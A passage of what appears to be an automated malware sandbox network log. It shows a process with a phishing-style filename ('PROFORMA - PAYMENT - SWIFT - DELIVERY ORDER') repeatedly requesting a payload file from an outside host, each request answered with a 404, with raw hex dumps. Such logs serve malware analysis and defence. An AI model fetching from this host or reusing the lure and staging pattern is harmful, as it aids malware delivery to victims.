2024-11-24 15:42:48 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.5	50061	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:42:49 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:42:50 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:42:49 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:42:50 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.5	50063	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:42:53 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:42:53 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:42:53 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:42:53 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.5	50064	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:42:55 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:42:55 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:42:55 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:42:55 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.5	50065	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:42:57 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:42:58 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:42:57 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:42:58 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.5	50066	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:42:59 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:43:00 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:42:59 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:43:00 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.5	50067	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:43:01 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:43:02 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:43:01 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:43:02 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.5	50068	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:43:03 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:43:04 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:43:04 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:43:04 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.5	50069	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:43:06 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:43:06 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:43:06 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:43:06 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.5	50070	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:43:08 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:43:09 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:43:08 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:43:09 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.5	50071	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:43:10 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:43:11 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:43:11 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:43:11 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.5	50072	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:43:12 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:43:13 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:43:13 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:43:13 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.5	50073	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:43:14 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:43:15 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:43:15 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:43:15 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.5	50074	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:43:17 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:43:17 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:43:17 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
